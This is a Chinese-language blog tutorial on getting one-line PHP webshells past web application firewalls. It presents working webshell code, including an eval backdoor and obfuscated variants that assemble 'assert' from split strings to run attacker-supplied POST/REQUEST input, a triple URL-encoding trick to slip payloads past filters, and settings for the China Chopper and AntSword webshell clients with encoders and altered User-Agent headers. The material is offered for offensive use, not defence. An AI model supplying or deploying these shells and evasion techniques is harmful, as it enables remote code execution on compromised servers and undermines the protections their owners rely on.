一.绕过方式

  • 木马存在敏感字符被拦截

木马代码存在敏感字符,直接被waf。如:如直接传<?php @@eval($_POST['123']); ?>,由于存在eval危险函数直接被拦截。

论一句话过WAF

这时候需要对被waf的危险字符进行各种变形即可

收集的过狗马,最大同性交友网站github也有很多webshell项目

$poc = "a#s#s#e#r#t";

$poc_1 = explode("#", $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];

$poc_2($_POST['super'])

  • Request请求体中存在敏感字符被拦截

最常见的就是对User-Agent和请求参数中进行检测。

如请求参数中存在敏感字符就会被拦,也会对特定标识的User-Agent头部进行拦截。如中国菜刀的User-Agent头部标识。

 

如对GET请求数据中的phpinfo()字符进行拦截

论一句话过WAF

这时候我们需要对请求的参数进行编码,相对的在一句话代码中需要对传入的参数进行解密

如: 使用3次URL编码绕过

<?php

$poc ="axsxsxexrxt";

$poc_1 = explode("x", $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];

$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));

?>

Phpinfo()进行三次url编码

论一句话过WAF

二.原版菜刀的过waf配置

在Config.ini文件中对PHP_MAKE参数进行加密

如:   需要对传参进行三次URL编码

PHP_MAKE参数进行三次url加密和设置请求头即可

论一句话过WAF

论一句话过WAF

 

三.中国蚁剑AndSword过waf的配置

配置编码设置,这里我已PHP脚本作为例子

这里会有一个base64编码作为示范,只需要改动data[pwd]即可

论一句话过WAF

三次URL编码,注意${randomID}不要做处理

论一句话过WAF

在下方选中解密器,配置User-Agent

论一句话过WAF

相关文章:

  • 2022-02-02
  • 2021-10-12
  • 2021-12-29
  • 2021-11-15
  • 2021-08-21
  • 2022-01-08
  • 2022-01-15
猜你喜欢
  • 2021-04-06
  • 2021-03-25
  • 2021-12-05
  • 2021-08-07
  • 2022-01-25
相关资源
相似解决方案